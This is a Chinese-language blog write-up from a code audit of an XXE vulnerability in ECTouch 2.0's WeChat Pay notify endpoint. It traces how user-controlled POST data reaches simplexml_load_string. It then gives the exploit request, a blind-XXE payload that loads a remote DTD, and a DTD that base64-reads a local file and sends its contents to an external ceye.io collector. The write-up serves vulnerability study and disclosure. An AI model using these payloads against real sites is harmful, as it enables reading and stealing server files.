ectouch2 微信支付xxe漏洞

0x00 前言

之前有了解过xxe漏洞,但没有在实际环境中分析过,这次刚好看到大佬发的Ectouch2.0 分析代码审计流程 (五) xxe漏洞,也跟入学习一波。

0x01 漏洞分析

根据文中介绍,定位到wxpay.php的notify方法,可以看到在该方法中,用户可控的inputdata变量直接进入到simplexml_load_string()函数中,那么这里便可能存在xxe漏洞。

搜索全文,查看哪里用到了该方法。
找到respond控制器的index方法,该方法中,payobj对象取决于this->data[‘code’],而且要进入分支还要求this->data[‘type’]==’notify’,查看其是否可控。

可以看到这两个变量均可以通过get方法来控制。

另外漏洞利用上面判断是否存在通过get.code传入的wxpay插件,因为需要后台启用该插件。

另外由于在notify方法并未对数据进行输出,因此该漏洞为bind xxe,为了测试方便,我们先将数据进行输出。

下面便是构造payload,看看如何才能执行到这里。
ectouch采用MVC模式,入口文件index.php中包含了/include/bootstrap.php

继续跟进,62行看到路由解析函数urlRoute

最终定位到display方法

获取到其模块控制器方法,分别使用吗m,c,a传入

至此便可构造pyload

1
2
3
4
5
6
7
8
9
?m=default&c=respond&a=index&code=wxpay&type=notify

post

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "xxe test">
]>
<root><name>&xxe;</name></root>

至此xxe漏洞确实存在了,但如何利用这个bind xxe呢,总不能让其自己加上输出语句吧。

使用payload

1
2
3
4
5
<?xml version="1.0"?> 
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.dtd">
%remote;%int;%send;
]>

上面payload中外部dtd文件 xxe.dtd内容为

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///f:/data.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ay82rc.ceye.io/?p=%file;'>">

成功读到数据

参考一篇文章带你理解漏洞之 XXE 漏洞

本文标题:ectouch2 微信支付xxe漏洞

文章作者:boogle

发布时间:2019年02月02日 - 15:02

最后更新:2019年03月07日 - 11:36

原始链接:https://zhengbao.wang/ectouch2-微信支付xxe漏洞/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗